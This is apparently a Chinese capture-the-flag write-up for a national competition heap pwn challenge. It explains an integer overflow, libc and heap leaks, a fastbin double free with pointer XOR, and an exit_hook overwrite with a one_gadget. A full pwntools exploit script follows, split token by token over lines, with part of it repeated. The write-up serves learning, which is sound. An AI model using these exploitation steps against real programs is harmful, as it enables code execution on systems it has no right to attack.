国赛的pwn3,不是很难,简单记录一下
上来就怼了个整型溢出,直接让hepa_num为0x40040000,就可以让这个存堆指针的堆申请到libc上面,并且后面free和show的时候相当于都没有了index限制
所以直接用show打印main_arena上的libc内指针即可泄露libc,然后申请9个chunk,释放一个泄露堆地址,再释放六个填满tcache,然后再利用fastbin做一个double free(因为free之后没有清空指针,所以还存在一个UAF),但是说实话就算没有这个UAF,因为可以随便free,所以一样有UAF的效果。
然后申请七个出来,这样下次再申请就会从fastbin里拿,此时我们的bin结构应该是这样的:
然后修改第一个放进fastbin的chunk的fd,记得注意一下指针异或,这里先将fd改成system,来测试一下我们是否能做到任意地址申请。
可以看到system已经被我链入tcache链了,接下来就要考虑修改哪里的地址可以控制执行流,比赛的时候是用exit_hook做的,2.31之后的exit_hook稍微有点难找:
但是遗憾的是这里的rbx在2.34-3.2就不可写了,好在比赛的时候给的是3.0,所以还是可写的。
具体偏移我是选择的手动调到这里直接看的,也不是很深,不会很难找
完整exp:
打通效果图:
from
re
import
L
from
pwn
import
*
from
ctypes
import
*
context.arch
=
'amd64'
io
=
process([
'./pwn'
],env
=
{
"LD_PRELOAD"
:
"./libc.so.6-remote"
})
libc
=
ELF(
'./libc.so.6-remote'
)
rl
=
lambda
a
=
False
: io.recvline(a)
ru
=
lambda
a,b
=
True
: io.recvuntil(a,b)
rn
=
lambda
x : io.recvn(x)
sn
=
lambda
x : io.send(x)
sl
=
lambda
x : io.sendline(x)
sa
=
lambda
a,b : io.sendafter(a,b)
sla
=
lambda
a,b : io.sendlineafter(a,b)
irt
=
lambda
: io.interactive()
dbg
=
lambda
text
=
None
: gdb.attach(io, text)
lg
=
lambda
s : log.info(
'\033[1;31;40m %s --> 0x%x \033[0m'
%
(s,
eval
(s)))
uu32
=
lambda
data : u32(data.ljust(
4
, b
'\x00'
))
uu64
=
lambda
data : u64(data.ljust(
8
, b
'\x00'
))
def
menu(choice):
sla(
": "
,
str
(choice))
def
add(index,context):
menu(
1
)
sla(
"Index: "
,
str
(index))
sa(
"Content: "
,context)
def
free(index):
menu(
2
)
sla(
"Index: "
,
str
(index))
def
show(index):
menu(
3
)
sla(
"Index: "
,
str
(index))
sla(
"How many pages your notebook will be? :"
,
str
(
0x40040000
))
show((
0x7f99c17fbcd0
-
0x7f99c13df000
)
/
8
)
ru(
"Content: "
)
libcbase
=
u64(io.recv(
6
).ljust(
8
,
'\x00'
))
-
(
0x7f628e78dcc0
-
0x7f628e574000
-
0x1000
)
system
=
libcbase
+
libc.sym[
'system'
]
onegadget
=
libcbase
+
0xeeccc
lg(
"onegadget"
)
lg(
"libcbase"
)
for
i
in
range
(
9
):
add(i,
'a'
*
8
)
free(
0
)
show(
0
)
ru(
"Content: "
)
heapbase
=
u64(io.recv(
5
).ljust(
8
,
'\x00'
))
heapbase
=
heapbase<<
12
lg(
"heapbase"
)
for
i
in
range
(
1
,
7
):
free(i)
free(
7
)
free(
8
)
free(
7
)
target
=
((heapbase
+
0x450
)>>
12
)^(libcbase
+
0x7f1b28d456c0
-
0x7f1b28b2b000
)
lg(
"target"
)
for
i
in
range
(
7
):
add(i,
'a'
*
8
)
add(
7
,p64(target))
add(
7
,p64(
0
))
add(
7
,p64(
0
))
add(
7
,p64(onegadget)
*
2
)
gdb.attach(io)
menu(
4
)
irt()
from
re
import
L
from
pwn
import
*
from
ctypes
import
*
context.arch
=
'amd64'
io
=
process([
'./pwn'
],env
=
{
"LD_PRELOAD"
:
"./libc.so.6-remote"
})
libc
=
ELF(
'./libc.so.6-remote'
)
rl
=
lambda
a
=
False
: io.recvline(a)
ru
=
lambda
a,b
=
True
: io.recvuntil(a,b)
rn
=
lambda
x : io.recvn(x)
sn
=
lambda
x : io.send(x)
sl
=
lambda
x : io.sendline(x)
sa
=
lambda
a,b : io.sendafter(a,b)
sla
=
lambda
a,b : io.sendlineafter(a,b)
irt
=
lambda
: io.interactive()
dbg
=
lambda
text
=
None
: gdb.attach(io, text)
lg
=
lambda
s : log.info(
'\033[1;31;40m %s --> 0x%x \033[0m'
%
(s,
eval
(s)))
uu32
=
lambda
data : u32(data.ljust(
4
, b
'\x00'
))
uu64
=
lambda
data : u64(data.ljust(
8
, b
'\x00'
))
def
menu(choice):
sla(
": "
,
str
(choice))
[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!